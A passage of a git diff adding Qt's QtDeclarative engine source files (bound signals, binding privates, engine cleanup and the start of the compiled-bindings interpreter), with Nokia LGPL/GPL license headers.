+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#ifndef QDECLARATIVEBINDING_P_P_H
+#define QDECLARATIVEBINDING_P_P_H
+
+//
+// W A R N I N G
+// -------------
+//
+// This file is not part of the Qt API. It exists purely as an
+// implementation detail. This header file may change from version to
+// version without notice, or even be removed.
+//
+// We mean it.
+//
+
+#include "private/qdeclarativebinding_p.h"
+
+#include "qdeclarativeproperty.h"
+#include "private/qdeclarativeexpression_p.h"
+
+QT_BEGIN_NAMESPACE
+
+class QDeclarativeBindingPrivate : public QDeclarativeExpressionPrivate
+{
+ Q_DECLARE_PUBLIC(QDeclarativeBinding)
+public:
+ QDeclarativeBindingPrivate();
+ ~QDeclarativeBindingPrivate();
+
+ virtual void emitValueChanged();
+
+protected:
+ virtual void refresh();
+
+private:
+ bool updating:1;
+ bool enabled:1;
+ QDeclarativeProperty property;
+
+ bool *deleted;
+};
+
+QT_END_NAMESPACE
+
+#endif // QDECLARATIVEBINDING_P_P_H
diff --git a/src/declarative/qml/qdeclarativeboundsignal.cpp b/src/declarative/qml/qdeclarativeboundsignal.cpp
new file mode 100644
index 00000000..a8aece9f
--- /dev/null
+++ b/src/declarative/qml/qdeclarativeboundsignal.cpp
@@ -0,0 +1,306 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#include "private/qdeclarativeboundsignal_p.h"
+
+#include "private/qmetaobjectbuilder_p.h"
+#include "private/qdeclarativeengine_p.h"
+#include "private/qdeclarativeexpression_p.h"
+#include "private/qdeclarativecontext_p.h"
+#include "private/qdeclarativemetatype_p.h"
+#include "qdeclarative.h"
+#include "qdeclarativecontext.h"
+#include "private/qdeclarativeglobal_p.h"
+#include "private/qdeclarativedebugtrace_p.h"
+
+#include <QtCore/qstringbuilder.h>
+#include <QtCore/qdebug.h>
+
+QT_BEGIN_NAMESPACE
+
+class QDeclarativeBoundSignalParameters : public QObject
+{
+Q_OBJECT
+public:
+ QDeclarativeBoundSignalParameters(const QMetaMethod &, QObject * = 0);
+ ~QDeclarativeBoundSignalParameters();
+
+ void setValues(void **);
+ void clearValues();
+
+private:
+ friend class MetaObject;
+ int metaCall(QMetaObject::Call, int _id, void **);
+ struct MetaObject : public QAbstractDynamicMetaObject {
+ MetaObject(QDeclarativeBoundSignalParameters *b)
+ : parent(b) {}
+
+ int metaCall(QMetaObject::Call c, int id, void **a) {
+ return parent->metaCall(c, id, a);
+ }
+ QDeclarativeBoundSignalParameters *parent;
+ };
+
+ int *types;
+ void **values;
+ QMetaObject *myMetaObject;
+};
+
+static int evaluateIdx = -1;
+
+QDeclarativeAbstractBoundSignal::QDeclarativeAbstractBoundSignal(QObject *parent)
+: QObject(parent)
+{
+}
+
+QDeclarativeAbstractBoundSignal::~QDeclarativeAbstractBoundSignal()
+{
+}
+
+QDeclarativeBoundSignal::QDeclarativeBoundSignal(QObject *scope, const QMetaMethod &signal,
+ QObject *parent)
+: m_expression(0), m_signal(signal), m_paramsValid(false), m_isEvaluating(false), m_params(0)
+{
+ // This is thread safe. Although it may be updated by two threads, they
+ // will both set it to the same value - so the worst thing that can happen
+ // is that they both do the work to figure it out. Boo hoo.
+ if (evaluateIdx == -1) evaluateIdx = metaObject()->methodCount();
+
+ QDeclarative_setParent_noEvent(this, parent);
+ QDeclarativePropertyPrivate::connect(scope, m_signal.methodIndex(), this, evaluateIdx);
+}
+
+QDeclarativeBoundSignal::QDeclarativeBoundSignal(QDeclarativeContext *ctxt, const QString &val,
+ QObject *scope, const QMetaMethod &signal,
+ QObject *parent)
+: m_expression(0), m_signal(signal), m_paramsValid(false), m_isEvaluating(false), m_params(0)
+{
+ // This is thread safe. Although it may be updated by two threads, they
+ // will both set it to the same value - so the worst thing that can happen
+ // is that they both do the work to figure it out. Boo hoo.
+ if (evaluateIdx == -1) evaluateIdx = metaObject()->methodCount();
+
+ QDeclarative_setParent_noEvent(this, parent);
+ QDeclarativePropertyPrivate::connect(scope, m_signal.methodIndex(), this, evaluateIdx);
+
+ m_expression = new QDeclarativeExpression(ctxt, scope, val);
+}
+
+QDeclarativeBoundSignal::~QDeclarativeBoundSignal()
+{
+ delete m_expression;
+ m_expression = 0;
+}
+
+int QDeclarativeBoundSignal::index() const
+{
+ return m_signal.methodIndex();
+}
+
+/*!
+ Returns the signal expression.
+*/
+QDeclarativeExpression *QDeclarativeBoundSignal::expression() const
+{
+ return m_expression;
+}
+
+/*!
+ Sets the signal expression to \a e. Returns the current signal expression,
+ or null if there is no signal expression.
+
+ The QDeclarativeBoundSignal instance takes ownership of \a e. The caller is
+ assumes ownership of the returned QDeclarativeExpression.
+*/
+QDeclarativeExpression *QDeclarativeBoundSignal::setExpression(QDeclarativeExpression *e)
+{
+ QDeclarativeExpression *rv = m_expression;
+ m_expression = e;
+ if (m_expression) m_expression->setNotifyOnValueChanged(false);
+ return rv;
+}
+
+QDeclarativeBoundSignal *QDeclarativeBoundSignal::cast(QObject *o)
+{
+ QDeclarativeAbstractBoundSignal *s = qobject_cast<QDeclarativeAbstractBoundSignal*>(o);
+ return static_cast<QDeclarativeBoundSignal *>(s);
+}
+
+int QDeclarativeBoundSignal::qt_metacall(QMetaObject::Call c, int id, void **a)
+{
+ if (c == QMetaObject::InvokeMetaMethod && id == evaluateIdx) {
+ if (!m_expression)
+ return -1;
+ if (QDeclarativeDebugService::isDebuggingEnabled()) {
+ QDeclarativeDebugTrace::startRange(QDeclarativeDebugTrace::HandlingSignal);
+ QDeclarativeDebugTrace::rangeData(QDeclarativeDebugTrace::HandlingSignal, QLatin1String(m_signal.signature()) % QLatin1String(": ") % m_expression->expression());
+ QDeclarativeDebugTrace::rangeLocation(QDeclarativeDebugTrace::HandlingSignal, m_expression->sourceFile(), m_expression->lineNumber());
+ }
+ m_isEvaluating = true;
+ if (!m_paramsValid) {
+ if (!m_signal.parameterTypes().isEmpty())
+ m_params = new QDeclarativeBoundSignalParameters(m_signal, this);
+ m_paramsValid = true;
+ }
+
+ if (m_params) m_params->setValues(a);
+ if (m_expression && m_expression->engine()) {
+ QDeclarativeExpressionPrivate::get(m_expression)->value(m_params);
+ if (m_expression && m_expression->hasError())
+ QDeclarativeEnginePrivate::warning(m_expression->engine(), m_expression->error());
+ }
+ if (m_params) m_params->clearValues();
+ m_isEvaluating = false;
+ QDeclarativeDebugTrace::endRange(QDeclarativeDebugTrace::HandlingSignal);
+ return -1;
+ } else {
+ return QObject::qt_metacall(c, id, a);
+ }
+}
+
+QDeclarativeBoundSignalParameters::QDeclarativeBoundSignalParameters(const QMetaMethod &method,
+ QObject *parent)
+: QObject(parent), types(0), values(0)
+{
+ MetaObject *mo = new MetaObject(this);
+
+ // ### Optimize!
+ QMetaObjectBuilder mob;
+ mob.setSuperClass(&QDeclarativeBoundSignalParameters::staticMetaObject);
+ mob.setClassName("QDeclarativeBoundSignalParameters");
+
+ QList<QByteArray> paramTypes = method.parameterTypes();
+ QList<QByteArray> paramNames = method.parameterNames();
+ types = new int[paramTypes.count()];
+ for (int ii = 0; ii < paramTypes.count(); ++ii) {
+ const QByteArray &type = paramTypes.at(ii);
+ const QByteArray &name = paramNames.at(ii);
+
+ if (name.isEmpty() || type.isEmpty()) {
+ types[ii] = 0;
+ continue;
+ }
+
+ QVariant::Type t = (QVariant::Type)QMetaType::type(type.constData());
+ if (QDeclarativeMetaType::isQObject(t)) {
+ types[ii] = QMetaType::QObjectStar;
+ QMetaPropertyBuilder prop = mob.addProperty(name, "QObject*");
+ prop.setWritable(false);
+ } else {
+ QByteArray propType = type;
+ if (t >= QVariant::UserType || t == QVariant::Invalid) {
+ //copy of QDeclarativeObjectScriptClass::enumType()
+ QByteArray scope;
+ QByteArray name;
+ int scopeIdx = propType.lastIndexOf("::");
+ if (scopeIdx != -1) {
+ scope = propType.left(scopeIdx);
+ name = propType.mid(scopeIdx + 2);
+ } else {
+ name = propType;
+ }
+ const QMetaObject *meta;
+ if (scope == "Qt")
+ meta = &QObject::staticQtMetaObject;
+ else
+ meta = parent->parent()->metaObject(); //### assumes parent->parent()
+ for (int i = meta->enumeratorCount() - 1; i >= 0; --i) {
+ QMetaEnum m = meta->enumerator(i);
+ if ((m.name() == name) && (scope.isEmpty() || (m.scope() == scope))) {
+ t = QVariant::Int;
+ propType = "int";
+ break;
+ }
+ }
+ }
+ if (QDeclarativeMetaType::canCopy(t)) {
+ types[ii] = t;
+ QMetaPropertyBuilder prop = mob.addProperty(name, propType);
+ prop.setWritable(false);
+ } else {
+ types[ii] = 0x80000000 | t;
+ QMetaPropertyBuilder prop = mob.addProperty(name, "QVariant");
+ prop.setWritable(false);
+ }
+ }
+ }
+ myMetaObject = mob.toMetaObject();
+ *static_cast<QMetaObject *>(mo) = *myMetaObject;
+
+ d_ptr->metaObject = mo;
+}
+
+QDeclarativeBoundSignalParameters::~QDeclarativeBoundSignalParameters()
+{
+ delete [] types;
+ qFree(myMetaObject);
+}
+
+void QDeclarativeBoundSignalParameters::setValues(void **v)
+{
+ values = v;
+}
+
+void QDeclarativeBoundSignalParameters::clearValues()
+{
+ values = 0;
+}
+
+int QDeclarativeBoundSignalParameters::metaCall(QMetaObject::Call c, int id, void **a)
+{
+ if (!values)
+ return -1;
+
+ if (c == QMetaObject::ReadProperty && id >= 1) {
+ if (types[id - 1] & 0x80000000) {
+ *((QVariant *)a[0]) = QVariant(types[id - 1] & 0x7FFFFFFF, values[id]);
+ } else {
+ QDeclarativeMetaType::copy(types[id - 1], a[0], values[id]);
+ }
+ return -1;
+ } else {
+ return qt_metacall(c, id, a);
+ }
+}
+
+QT_END_NAMESPACE
+
+#include <qdeclarativeboundsignal.moc>
diff --git a/src/declarative/qml/qdeclarativeboundsignal_p.h b/src/declarative/qml/qdeclarativeboundsignal_p.h
new file mode 100644
index 00000000..8a46179e
--- /dev/null
+++ b/src/declarative/qml/qdeclarativeboundsignal_p.h
@@ -0,0 +1,103 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#ifndef QDECLARATIVEBOUNDSIGNAL_P_H
+#define QDECLARATIVEBOUNDSIGNAL_P_H
+
+//
+// W A R N I N G
+// -------------
+//
+// This file is not part of the Qt API. It exists purely as an
+// implementation detail. This header file may change from version to
+// version without notice, or even be removed.
+//
+// We mean it.
+//
+
+#include "qdeclarativeexpression.h"
+
+#include <QtCore/qmetaobject.h>
+
+#include <private/qobject_p.h>
+
+QT_BEGIN_NAMESPACE
+
+class QDeclarativeAbstractBoundSignal : public QObject
+{
+ Q_OBJECT
+public:
+ QDeclarativeAbstractBoundSignal(QObject *parent = 0);
+ virtual ~QDeclarativeAbstractBoundSignal() = 0;
+};
+
+class QDeclarativeBoundSignalParameters;
+class QDeclarativeBoundSignal : public QDeclarativeAbstractBoundSignal
+{
+public:
+ QDeclarativeBoundSignal(QObject *scope, const QMetaMethod &signal, QObject *parent);
+ QDeclarativeBoundSignal(QDeclarativeContext *ctxt, const QString &val, QObject *scope,
+ const QMetaMethod &signal, QObject *parent);
+ virtual ~QDeclarativeBoundSignal();
+
+ int index() const;
+
+ QDeclarativeExpression *expression() const;
+ QDeclarativeExpression *setExpression(QDeclarativeExpression *);
+
+ bool isEvaluating() const { return m_isEvaluating; }
+
+ static QDeclarativeBoundSignal *cast(QObject *);
+
+protected:
+ virtual int qt_metacall(QMetaObject::Call c, int id, void **a);
+
+private:
+ QDeclarativeExpression *m_expression;
+ QMetaMethod m_signal;
+ bool m_paramsValid : 1;
+ bool m_isEvaluating : 1;
+ QDeclarativeBoundSignalParameters *m_params;
+};
+
+QT_END_NAMESPACE
+
+#endif // QDECLARATIVEBOUNDSIGNAL_P_H
diff --git a/src/declarative/qml/qdeclarativecleanup.cpp b/src/declarative/qml/qdeclarativecleanup.cpp
new file mode 100644
index 00000000..0af72694
--- /dev/null
+++ b/src/declarative/qml/qdeclarativecleanup.cpp
@@ -0,0 +1,87 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#include "private/qdeclarativecleanup_p.h"
+
+#include "private/qdeclarativeengine_p.h"
+
+QT_BEGIN_NAMESPACE
+
+/*!
+\internal
+\class QDeclarativeCleanup
+\brief The QDeclarativeCleanup provides a callback when a QDeclarativeEngine is deleted.
+
+Any object that needs cleanup to occur before the QDeclarativeEngine's QScriptEngine is
+destroyed should inherit from QDeclarativeCleanup. The clear() virtual method will be
+called by QDeclarativeEngine just before it deletes the QScriptEngine.
+*/
+
+/*!
+\internal
+
+Create a QDeclarativeCleanup for \a engine
+*/
+QDeclarativeCleanup::QDeclarativeCleanup(QDeclarativeEngine *engine)
+: prev(0), next(0)
+{
+ if (!engine)
+ return;
+
+ QDeclarativeEnginePrivate *p = QDeclarativeEnginePrivate::get(engine);
+
+ if (p->cleanup) next = p->cleanup;
+ p->cleanup = this;
+ prev = &p->cleanup;
+ if (next) next->prev = &next;
+}
+
+/*!
+\internal
+*/
+QDeclarativeCleanup::~QDeclarativeCleanup()
+{
+ if (prev) *prev = next;
+ if (next) next->prev = prev;
+ prev = 0;
+ next = 0;
+}
+QT_END_NAMESPACE
diff --git a/src/declarative/qml/qdeclarativecleanup_p.h b/src/declarative/qml/qdeclarativecleanup_p.h
new file mode 100644
index 00000000..65688c81
--- /dev/null
+++ b/src/declarative/qml/qdeclarativecleanup_p.h
@@ -0,0 +1,79 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#ifndef QDECLARATIVECLEANUP_P_H
+#define QDECLARATIVECLEANUP_P_H
+
+#include <QtCore/qglobal.h>
+
+//
+// W A R N I N G
+// -------------
+//
+// This file is not part of the Qt API. It exists purely as an
+// implementation detail. This header file may change from version to
+// version without notice, or even be removed.
+//
+// We mean it.
+//
+
+QT_BEGIN_NAMESPACE
+
+class QDeclarativeEngine;
+class QDeclarativeCleanup
+{
+public:
+ QDeclarativeCleanup(QDeclarativeEngine *);
+ virtual ~QDeclarativeCleanup();
+
+protected:
+ virtual void clear() = 0;
+
+private:
+ friend class QDeclarativeEnginePrivate;
+ QDeclarativeCleanup **prev;
+ QDeclarativeCleanup *next;
+};
+
+QT_END_NAMESPACE
+
+#endif // QDECLARATIVECLEANUP_P_H
+
diff --git a/src/declarative/qml/qdeclarativecompiledbindings.cpp b/src/declarative/qml/qdeclarativecompiledbindings.cpp
new file mode 100644
index 00000000..798c97f2
--- /dev/null
+++ b/src/declarative/qml/qdeclarativecompiledbindings.cpp
@@ -0,0 +1,2921 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+// #define COMPILEDBINDINGS_DEBUG
+// #define REGISTER_CLEANUP_DEBUG
+
+#include "private/qdeclarativecompiledbindings_p.h"
+
+#include <QtDeclarative/qdeclarativeinfo.h>
+#include <private/qdeclarativecontext_p.h>
+#include <private/qdeclarativejsast_p.h>
+#include <private/qdeclarativejsengine_p.h>
+#include <private/qdeclarativeexpression_p.h>
+#include <QtCore/qcoreapplication.h>
+#include <QtCore/qdebug.h>
+#include <QtCore/qnumeric.h>
+#include <private/qdeclarativeanchors_p_p.h>
+#include <private/qdeclarativeglobal_p.h>
+#include <private/qdeclarativefastproperties_p.h>
+#include <private/qdeclarativedebugtrace_p.h>
+
+QT_BEGIN_NAMESPACE
+
+DEFINE_BOOL_CONFIG_OPTION(qmlExperimental, QML_EXPERIMENTAL);
+DEFINE_BOOL_CONFIG_OPTION(qmlDisableOptimizer, QML_DISABLE_OPTIMIZER);
+DEFINE_BOOL_CONFIG_OPTION(qmlDisableFastProperties, QML_DISABLE_FAST_PROPERTIES);
+DEFINE_BOOL_CONFIG_OPTION(bindingsDump, QML_BINDINGS_DUMP);
+
+Q_GLOBAL_STATIC(QDeclarativeFastProperties, fastProperties);
+
+#if defined(Q_CC_GNU) && (!defined(Q_CC_INTEL) || __INTEL_COMPILER >= 1200)
+# define QML_THREADED_INTERPRETER
+#endif
+
+#define FOR_EACH_QML_INSTR(F) \
+ F(Noop) /* Nop */ \
+ F(BindingId) /* id */ \
+ F(Subscribe) /* subscribe */ \
+ F(SubscribeId) /* subscribe */ \
+ F(FetchAndSubscribe) /* fetchAndSubscribe */ \
+ F(LoadId) /* load */ \
+ F(LoadScope) /* load */ \
+ F(LoadRoot) /* load */ \
+ F(LoadAttached) /* attached */ \
+ F(ConvertIntToReal) /* unaryop */ \
+ F(ConvertRealToInt) /* unaryop */ \
+ F(Real) /* real_value */ \
+ F(Int) /* int_value */ \
+ F(Bool) /* bool_value */ \
+ F(String) /* string_value */ \
+ F(AddReal) /* binaryop */ \
+ F(AddInt) /* binaryop */ \
+ F(AddString) /* binaryop */ \
+ F(MinusReal) /* binaryop */ \
+ F(MinusInt) /* binaryop */ \
+ F(CompareReal) /* binaryop */ \
+ F(CompareString) /* binaryop */ \
+ F(NotCompareReal) /* binaryop */ \
+ F(NotCompareString) /* binaryop */ \
+ F(GreaterThanReal) /* binaryop */ \
+ F(MaxReal) /* binaryop */ \
+ F(MinReal) /* binaryop */ \
+ F(NewString) /* construct */ \
+ F(NewUrl) /* construct */ \
+ F(CleanupUrl) /* cleanup */ \
+ F(CleanupString) /* cleanup */ \
+ F(Copy) /* copy */ \
+ F(Fetch) /* fetch */ \
+ F(Store) /* store */ \
+ F(Skip) /* skip */ \
+ F(Done) /* done */ \
+ /* Speculative property resolution */ \
+ F(InitString) /* initstring */ \
+ F(FindGeneric) /* find */ \
+ F(FindGenericTerminal) /* find */ \
+ F(FindProperty) /* find */ \
+ F(FindPropertyTerminal) /* find */ \
+ F(CleanupGeneric) /* cleanup */ \
+ F(ConvertGenericToReal) /* unaryop */ \
+ F(ConvertGenericToBool) /* unaryop */ \
+ F(ConvertGenericToString) /* unaryop */ \
+ F(ConvertGenericToUrl) /* unaryop */
+
+#define QML_INSTR_ENUM(I) I,
+#define QML_INSTR_ADDR(I) &&op_##I,
+
+#ifdef QML_THREADED_INTERPRETER
+# define QML_BEGIN_INSTR(I) op_##I:
+# define QML_END_INSTR(I) ++instr; goto *instr->common.code;
+# define QML_INSTR_HEADER void *code;
+#else
+# define QML_BEGIN_INSTR(I) case Instr::I:
+# define QML_END_INSTR(I) break;
+# define QML_INSTR_HEADER
+#endif
+
+
+using namespace QDeclarativeJS;
+
+namespace {
+// Supported types: int, qreal, QString (needs constr/destr), QObject*, bool
+struct Register {
+ void setUndefined() { type = 0; }
+ void setUnknownButDefined() { type = -1; }
+ void setNaN() { setqreal(qSNaN()); }
+ bool isUndefined() const { return type == 0; }
+
+ void setQObject(QObject *o) { qobjectValue = o; type = QMetaType::QObjectStar; }
+ QObject *getQObject() const { return qobjectValue; }
+
+ void setqreal(qreal v) { qrealValue = v; type = QMetaType::QReal; }
+ qreal getqreal() const { return qrealValue; }
+
+ void setint(int v) { intValue = v; type = QMetaType::Int; }
+ int getint() const { return intValue; }
+
+ void setbool(bool v) { boolValue = v; type = QMetaType::Bool; }
+ bool getbool() const { return boolValue; }
+
+ QVariant *getvariantptr() { return (QVariant *)typeDataPtr(); }
+ QString *getstringptr() { return (QString *)typeDataPtr(); }
+ QUrl *geturlptr() { return (QUrl *)typeDataPtr(); }
+ const QVariant *getvariantptr() const { return (QVariant *)typeDataPtr(); }
+ const QString *getstringptr() const { return (QString *)typeDataPtr(); }
+ const QUrl *geturlptr() const { return (QUrl *)typeDataPtr(); }
+
+ void *typeDataPtr() { return (void *)&data; }
+ void *typeMemory() { return (void *)data; }
+ const void *typeDataPtr() const { return (void *)&data; }
+ const void *typeMemory() const { return (void *)data; }
+
+ int gettype() const { return type; }
+ void settype(int t) { type = t; }
+
+ int type; // Optional type
+ union {
+ QObject *qobjectValue;
+ qreal qrealValue;
+ int intValue;
+ bool boolValue;
+ char data[sizeof(QVariant)];
+ qint64 q_for_alignment_1;
+ double q_for_alignment_2;
+ };
+
+#ifdef REGISTER_CLEANUP_DEBUG
+ Register() {
+ type = 0;
+ }
+
+ ~Register() {
+ int allowedTypes[] = { QMetaType::QObjectStar, QMetaType::QReal, QMetaType::Int, QMetaType::Bool, 0 };
+ bool found = (type == 0);
+ int *ctype = allowedTypes;
+ while (!found && *ctype) {
+ found = (*ctype == type);
+ ++ctype;
+ }
+ if (!found)
+ qWarning("Register leaked of type %d", type);
+ }
+#endif
+};
+}
+
+class QDeclarativeCompiledBindingsPrivate : public QObjectPrivate
+{
+ Q_DECLARE_PUBLIC(QDeclarativeCompiledBindings)
+
+public:
+ QDeclarativeCompiledBindingsPrivate();
+ virtual ~QDeclarativeCompiledBindingsPrivate();
+
+ struct Binding : public QDeclarativeAbstractBinding, public QDeclarativeDelayedError {
+ Binding() : enabled(false), updating(0), property(0),
+ scope(0), target(0), parent(0) {}
+
+ // Inherited from QDeclarativeAbstractBinding
+ virtual void setEnabled(bool, QDeclarativePropertyPrivate::WriteFlags flags);
+ virtual void update(QDeclarativePropertyPrivate::WriteFlags flags);
+ virtual void destroy();
+
+ int index:30;
+ bool enabled:1;
+ bool updating:1;
+ int property;
+ QObject *scope;
+ QObject *target;
+
+ QDeclarativeCompiledBindingsPrivate *parent;
+ };
+
+ typedef QDeclarativeNotifierEndpoint Subscription;
+ Subscription *subscriptions;
+ QScriptDeclarativeClass::PersistentIdentifier *identifiers;
+
+ void run(Binding *, QDeclarativePropertyPrivate::WriteFlags flags);
+
+ const char *programData;
+ QDeclarativeRefCount *dataRef;
+ Binding *m_bindings;
+ quint32 *m_signalTable;
+
+ static int methodCount;
+
+ void init();
+ void run(int instr, QDeclarativeContextData *context,
+ QDeclarativeDelayedError *error, QObject *scope, QObject *output, QDeclarativePropertyPrivate::WriteFlags storeFlags);
+
+
+ inline void unsubscribe(int subIndex);
+ inline void subscribeId(QDeclarativeContextData *p, int idIndex, int subIndex);
+ inline void subscribe(QObject *o, int notifyIndex, int subIndex);
+
+ QDeclarativePropertyCache::Data *findproperty(QObject *obj,
+ const QScriptDeclarativeClass::Identifier &name,
+ QDeclarativeEnginePrivate *enginePriv,
+ QDeclarativePropertyCache::Data &local);
+ bool findproperty(QObject *obj,
+ Register *output,
+ QDeclarativeEnginePrivate *enginePriv,
+ int subIdx,
+ const QScriptDeclarativeClass::Identifier &name,
+ bool isTerminal);
+ void findgeneric(Register *output, // value output
+ int subIdx, // Subscription index in config
+ QDeclarativeContextData *context, // Context to search in
+ const QScriptDeclarativeClass::Identifier &name,
+ bool isTerminal);
+};
+
+QDeclarativeCompiledBindingsPrivate::QDeclarativeCompiledBindingsPrivate()
+: subscriptions(0), identifiers(0), programData(0), dataRef(0), m_bindings(0), m_signalTable(0)
+{
+}
+
+QDeclarativeCompiledBindingsPrivate::~QDeclarativeCompiledBindingsPrivate()
+{
+ delete [] subscriptions; subscriptions = 0;
+ delete [] identifiers; identifiers = 0;
+ if (dataRef) {
+ dataRef->release();
+ dataRef = 0;
+ }
+}
+
+int QDeclarativeCompiledBindingsPrivate::methodCount = -1;
+
+QDeclarativeCompiledBindings::QDeclarativeCompiledBindings(const char *program, QDeclarativeContextData *context,
+ QDeclarativeRefCount *dataRef)
+: QObject(*(new QDeclarativeCompiledBindingsPrivate))
+{
+ Q_D(QDeclarativeCompiledBindings);
+
+ if (d->methodCount == -1)
+ d->methodCount = QDeclarativeCompiledBindings::staticMetaObject.methodCount();
+
+ d->programData = program;
+ d->dataRef = dataRef;
+ if (d->dataRef) d->dataRef->addref();
+
+ d->init();
+
+ QDeclarativeAbstractExpression::setContext(context);
+}
+
